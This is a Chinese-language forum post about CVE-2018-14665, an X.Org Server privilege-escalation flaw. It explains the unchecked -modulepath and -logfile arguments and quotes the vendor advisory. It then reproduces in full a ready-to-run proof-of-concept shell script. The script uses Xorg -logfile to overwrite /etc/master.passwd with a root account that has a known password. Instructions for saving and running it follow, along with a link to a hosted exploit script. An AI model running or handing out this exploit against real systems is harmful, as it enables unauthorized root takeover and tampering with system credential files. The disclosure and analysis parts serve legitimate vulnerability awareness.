admin 发表于 2018-10-29 17:32:50

CVE-2018-14665(linux全版本x.org提权漏洞)

<p style="box-sizing:border-box;margin-top:0px;margin-bottom:16px;line-height:24px;white-space:normal;">
        印度安全研究员Narendra Shinde在X.Org Server软件包中发现了一个普通账号提权root的高危漏洞(CVE-2018-14665),它影响了主要的Linux发行版,包括OpenBSD,Debian,Ubuntu,CentOS,Red Hat和Fedora。
</p>
<p style="box-sizing:border-box;margin-top:0px;margin-bottom:16px;line-height:24px;white-space:normal;">
        Xorg X项目提供了X Window系统的开源实现(也就是X11,或简称X,它是位图显示的窗口系统。它提供了GUI环境的基本框架:在显示设备上绘制和移动窗口以及交互用鼠标和键盘。
</p>
<p style="box-sizing:border-box;margin-top:0px;margin-bottom:16px;line-height:24px;white-space:normal;">
        Shinde发现Xorg X服务器无法正确处理和验证至少以下两个命令行参数的参数:
</p>
<p style="box-sizing:border-box;margin-top:0px;margin-bottom:16px;line-height:24px;white-space:normal;">
        <code style="box-sizing:border-box;padding:0.2em 0.4em;margin:0px;border-radius:3px;">-modulepath</code>:设置搜索Xorg服务器模块的目录路径,
</p>
<p style="box-sizing:border-box;margin-top:0px;margin-bottom:16px;line-height:24px;white-space:normal;">
        <code style="box-sizing:border-box;padding:0.2em 0.4em;margin:0px;border-radius:3px;">-logfile</code>:为Xorg服务器设置新的日志文件,而不是在大多数平台上使用位于/var/log/Xorg.n.log的默认日志。
</p>
<p style="box-sizing:border-box;margin-top:0px;margin-bottom:16px;line-height:24px;white-space:normal;">
        根据Narendra Shinde的说法,低权限用户可以利用它来执行恶意代码并覆盖系统上的任何文件
</p>
<p style="box-sizing:border-box;margin-top:0px;margin-bottom:16px;line-height:24px;white-space:normal;">
        两年多前,该漏洞被引入X.Org服务器1.19.0软件包中。
</p>
<p style="box-sizing:border-box;margin-top:0px;margin-bottom:16px;line-height:24px;white-space:normal;">
        Xorg发布了有关CVE-2018-14665漏洞的安全公告。
</p>
<pre style="box-sizing:border-box;margin-top:0px;margin-bottom:16px;word-wrap:normal;padding:16px;overflow:auto;line-height:1.45;border-radius:3px;"><code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">“当X服务器以提升的权限运行时(即,安装Xorg并设置setuid位并由非root用户启动)。”读取Xorg建议。

“-modulepath参数可用于指定要在X服务器中加载的模块的不安全路径,允许在特权进程中执行非特权代码。 </code>
<p>
        <code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">由于在解析选项时检查不正确,-logfile参数可用于覆盖文件系统中的任意文件。“ </code>
</p>

<p>
        <code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;"> </code>
</p>

<h2 style="box-sizing:border-box;margin-top:24px;margin-bottom:16px;line-height:1.25;padding-bottom:0.3em;border-bottom-width:1px;border-bottom-style:solid;border-bottom-color:#EAECEF;white-space:normal;">
        <code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">0x01 root</code>
</h2>

<p style="box-sizing:border-box;margin-top:0px;margin-bottom:16px;line-height:24px;white-space:normal;">
        <code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">安全专家Matthew Hickey还发布了一个 概念验证 漏洞利用代码,可以让攻击者以3个或更少的命令接管易受攻击的系统。</code>
</p>

<p style="box-sizing:border-box;margin-top:0px;margin-bottom:16px;line-height:24px;white-space:normal;">
        <code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">Openbsd 的#0day LPE 通过 CVE-2018-14665 可以从远程 SSH 会话触发, 不需要在本地控制台上。攻击者可以从字面上接管3命令或更少的受影响的系统。</code>
</p>

<p style="box-sizing:border-box;margin-top:0px;margin-bottom:16px;line-height:24px;white-space:normal;">
        <code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">利用脚本:<a href="https://hacker.house/releasez/expl0itz/openbsd-0day-cve-2018-14665.sh" rel="nofollow" style="box-sizing:border-box;">https://hacker.house/releasez/expl0itz/openbsd-0day-cve-2018-14665.sh</a> </code>
</p>
<code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;"><a target="_blank" href="https://9kb.org/content/uploadfile/201810/abc71540781457.jpg" id="ematt:25"><img src="https://9kb.org/content/uploadfile/201810/abc71540781457.jpg" title="点击查看原图" alt="root.jpg" border="0" width="948" height="994" /></a> </code>
<p>
        <br />

</p>
</pre>
<p>
        <code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">POC:</code>
</p>
<p>
        <code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;"> </code>
</p>
<pre class="prettyprint lang-bsh linenums"><code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root.
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
# and vulnerable in default OpenBSD. Errata: was
# unpatched 0day for a day on release by Xorg for
# OpenBSD systems - patched 26-10-2018.
#
# Credit for cve-2018-14665 goes to Narendra Shinde.
# Theo explains why this flaw made it into OpenBSD
# stable releases (tested 6.3 &amp; 6.4) as 0day himself
# here:
#
# https://marc.info/?l=openbsd-tech&amp;r=1&amp;b=201810&amp;w=2
#
# "That is the first localhost root hole in quite a
# long time." - Theo de Raadt 25/10/18
#
# This exploit works on OpenBSD 6.3 and 6.4, ymmv.
# requires the ability to run "su" and a local
# account. Run this exploit once and it will backup
# the original passwd file to /etc/master.passwd.old
#
# - https://hacker.house
echo [+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &amp;:/root:/bin/ksh' -logfile master.passwd :1 &amp;
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old back
echo [+] type 'Password1' and hit enter for root
su -</code></pre>
<code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;"> 保存为.sh,chmod 777加权限,经过测试发现,低于1.19.x版本以下的x.org会失败,参考https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-14665</code>
<p>
        <br />
</p>
页: [1]
查看完整版本: CVE-2018-14665(linux全版本x.org提权漏洞)